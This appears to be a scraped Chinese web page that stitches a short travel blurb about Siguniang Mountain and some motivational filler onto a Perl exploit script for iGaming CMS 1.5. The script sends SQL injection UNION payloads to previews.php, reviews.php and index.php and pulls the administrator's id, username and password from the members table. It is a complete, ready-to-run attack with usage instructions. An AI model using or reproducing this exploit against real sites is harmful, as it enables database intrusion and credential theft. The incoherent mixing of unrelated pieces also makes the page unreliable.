有人说： "要么旅行，要么读书，身体和灵魂，必须有一个在路上。 "这次川西之行我们走进四姑娘山。四姑娘山，是四座并立的山峰，山体陡峭，直指蓝天，冰雪覆盖，银光照人，享有 "蜀山皇后 "的美誉。
#!/usr/bin/perl# ----------------------------------------------------------
# iGaming <= 1.5 Multiple Remote SQL Injection Exploit
# Perl Exploit - Output: id:admin:password
# Discovered On: 23/09/2008
# Discovered By: StAkeR - StAkeR[at]hotmail[dot]it
# Proud To Be Italian
# ----------------------------------------------------------
# Usage: perl exploit.pl http://localhost/iGaming
# ---------------------------------------------------------- use strict;
use LWP::UserAgent; my ($one,$two,$exec,$host,$http,$xxx,$view); $view = "' union select 0,0,1,2,concat(0x25,id,0x3a,pseudo,0x3a,pass,0x25),0,6,7,8 from sp_members WHERE id='1/*";
$exec = "' union select 1,concat(0x25,id,0x3a,pseudo,0x3a,pass,0x25),3 from sp_members where id='1/*";
$host = shift @ARGV;
$http = new LWP::UserAgent or die $!;
$http->agent("Mozilla/4.5 [en] (Win95; U)");
$http->timeout(1);
if($host !~ /^http:\/\/(. ?)$/)
{
print "[?] iGaming CMS <= 1.5 Multiple Remote SQL Injection Exploit\n";
print "[?] Usage: perl $0 http://[path]\n";
exit;
}
else
{
$one = $http->get($host.'/previews.php?browse='.$exec);
$two = $http->get($host.'/reviews.php?browse='.$exec);
$xxx = $http->get($host.'/index.php?do=viewarticle&id='.$view);
if($one->is_success or $two->is_success or $xxx->is_success)
{
die "$1\n" if $one->content =~ /%(. ?)%/;
die "$1\n" if $two->content =~ /%(. ?)%/;
die "$1\n" if $xxx->content =~ /%(. ?)%/;
}
else
{
die "[ ] Exploit Failed!\n";
}
}
到此这篇关于iGaming CMS 就介绍到这了。成长是一场和自己的比赛，不要担心别人会做得比你好，你只需要每天都做得比前一天好就可以了。更多相关iGaming CMS 内容请查看相关栏目，小编编辑不易，再次感谢大家的支持！
